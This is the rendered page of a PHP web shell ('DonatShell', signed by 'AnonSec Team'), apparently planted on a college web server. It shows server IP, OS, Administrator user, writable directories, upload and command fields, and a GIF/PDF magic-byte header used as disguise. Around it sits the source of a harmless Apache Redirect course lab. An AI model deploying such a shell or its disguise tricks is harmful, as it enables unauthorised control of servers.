GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/MichaelMalz/CST1611/_Archive/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/MichaelMalz/CST1611/_Archive//Lab02.php
<?
// JimMartinson/CST1611/Lab02.php

$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
$thisFile=__FILE__; $thisLine=__LINE__; include('application.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('Course/courseInfo.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('classInfo.phpinc');

$assignmentNumber = 2;
$assignmentType = "";
$assignmentTitle = "Basic Directives";
$evaluationType = "Lab";
if ($assignmentType == '') $assignmentType = $evaluationType;
$evaluationTitle = $assignmentTitle;
if (strlen($assignmentNumber) == 1) { $assignmentName = $assignmentType."0".$assignmentNumber; $evaluationName = $evaluationType."0".$assignmentNumber; } else { 
$assignmentName = $assignmentType.$assignmentNumber; $evaluationName = $evaluationType.$assignmentNumber; }
if ($evaluationTitle != '') $evaluationTitle = ' - '.$evaluationTitle;
$title = $assignmentType." ".$assignmentNumber.": ".$assignmentTitle;
$headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title;
$pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title;
$week = 6;

$pageMenu = 'Course/courseMenu.phpinc';
$smallTitle = true;
$thisFile = __FILE__; $thisLine=__LINE__; include('common/pageHeader.phpinc');
$f_uId = formValue('uId'); if ( $f_uId ) { $userId = $f_uId; $userFullName = str_replace(" ","",username($userId)); } else { $userFullName = str_replace(" ","",$_SESSION['userFullName']); $userId = $_SESSION['userId']; }
$sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title.' - '.username($userId);
$thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionHeader.phpinc');
?>
<style type="text/css">b {white-space:nowrap;}</style>
<p>
<fieldset><legend><?=$evaluationType?> Assignment</legend><span class="normal">
The purpose of this lab is to demonstrate the ability to edit the Apache <tt>httpd.conf</tt> file, add Apache directives, and use the <code>Redirect</code> directive.
<!--
<br>
<code>code</code>
<codechange>codechange</codechange>
<entry>entry</entry>
<kbd>kbd</kbd>
<samp>samp</samp>
<tt>tt</tt>
<ttchange>ttchange</ttchange>
<var>var</var>
-->
<ol>
  <li>Setup a folder for this lab.
    <ul type="circle">
      <li>Create a folder called <b><?=$evaluationName?></b> inside your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611</b> folder.</li>
      <li>Create a text file called <b>!You are in the <?=$_SESSION['userFullName']?> <?=$evaluationName?> folder</b> in the <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?></b> folder.</li>
    </ul>
  </li>
  <li>Setup a <code>Redirect</code> directive to another site.
    <ol type="A">
      <li>Setup a folder for this <code>Redirect</code>.
        <ul type="circle">
          <li>Create a folder called <b>ClassHome</b> inside your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?></b> folder.</li>
          <li>Create a text file called <b>!You are in the <?=$_SESSION['userFullName']?> ClassHome folder</b> in the <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?>\ClassHome</b> folder.</li>
        </ul>
      </li>
      <li>Edit your Apache config and add a <code>Redirect</code> directive to another site.
        <ul type="circle">
        	<li>Open your <b><?=$_SESSION['userDefaultDrive']?>:\Apache2.2\config\httpd.conf</b> file in a text editor editor like TextPad or Notepad.</li>
          <li>At the bottom of the Apache config file add the comment: <code>#<?=$evaluationName?></code>. Place all your work for this lab below the comment.</li>
          <li>Add a <code>Redirect</code> directive so that the <tt><?=$_SESSION['userDefaultDrive']?>:/Data_WWW/CST1611/ClassHome</tt> folder is redirected to <tt>http://cst.ridgewater.edu/JimMartinson/CST1611/</tt>.</li>
          <li>Save your changes.</li>
        </ul>
      </li>
      <li>Verify that your <code>Redirect</code> works.
        <ul type="circle">
          <li>Restart Apache.</li>
          <li>Open up a browser.</li>
          <li>Enter <b>localhost</b> in the address bar and hit enter.</li>
          <li>Click on <b>CST1611</b>. Click on <b><?=$evaluationName?></b>. Click on <b>ClassHome</b>. Your browser should be redirected to <b>http://cst.ridgewater.edu/JimMartinson/CST1611/</b>.
          </li>
        </ul>
      </li>
    </ol>
  </li>
  <li>Setup a <code>Redirect</code> directive to another folder.
    <ol type="A">
      <li>Create a folder called <b>localhost</b> inside your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?></b> folder.</li>
      <li>Create a folder called <b>redirect</b> inside your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?></b> folder.</li>
      <li>Edit your Apache config and add a <code>Redirect</code> directive so that the <tt><?=$_SESSION['userDefaultDrive']?>:/Data_WWW/CST1611/<?=$evaluationName?>/localhost</tt> folder is redirected to <tt><?=$_SESSION['userDefaultDrive']?>:/Data_WWW/CST1611/<?=$evaluationName?>/redirect/</tt>.</li>
      <li>Verify that your <code>Redirect</code> works.</li>
        <ul type="circle">
          <li>Restart Apache.</li>
          <li>Open up a browser.</li>
          <li>Enter <b>localhost</b> in the address bar and hit enter.</li>
          <li>Click on <b>CST1611</b>. Click on <b><?=$evaluationName?></b>. Click on <b>localhost</b>. Your browser should be redirected to <b>http://localhost/CST1611/Lab02/redirect</b>.
          </li>
        </ul>
    </ol>
  </li>
  <li>Turn in <b><?=$evaluationName?></b> for grading.
    <ol type="A">
      <li>Copy your Apache <b>httpd.conf</b> file into the <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?></b> folder.</li>
      <li>Copy your <b>C:\Windows\system32\drivers\etc\hosts</b> file into the <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?></b> folder.</li>
      <li>Zip up your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611</b> directory into a file named <b>CST1611-<?=$evaluationName?>-<?=$userFullName?>.zip</b>.</li>
      <li>Send an email to <a href="mailto:jim.martinson@ridgewater.edu?subject=<?=$courseNumber?> - <?=$evaluationName?> Submission">jim.martinson@ridgewater.edu</a> with a subject of <b>CST1611 - <?=$evaluationName?> Submission</b> and attach your <b>CST1611-<?=$evaluationName?>-<?=$userFullName?>.zip</b> file.</li>
    </ol>
  </li>
 </ol>
</span>
</fieldset>

<fieldset><legend>Grading Criteria</legend><span class="normal">
Demonstrated assignment effectively: 10 points.
<br>
There are some things I expect. If they are incorrect you will lose the following:
<br>
Incorrect attachment file name: -1 pt.
<br>
Work submitted incorrectly: -1pt.
<br>
Incorrect subject in email: -1pt.
<br>
Second and subsequent submission of work for grading: -1pt.
<br>
Work submitted late: -1pt.
</span></fieldset>
<?
$thisFile=__FILE__; $thisLine=__LINE__; include('Notes/notes.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('ReferencesResources.phpinc');
$thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionFooter.phpinc');
$thisFile = __FILE__; $thisLine=__LINE__; include('common/pageFooter.phpinc');
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";

?>

Anon7 - 2022
AnonSec Team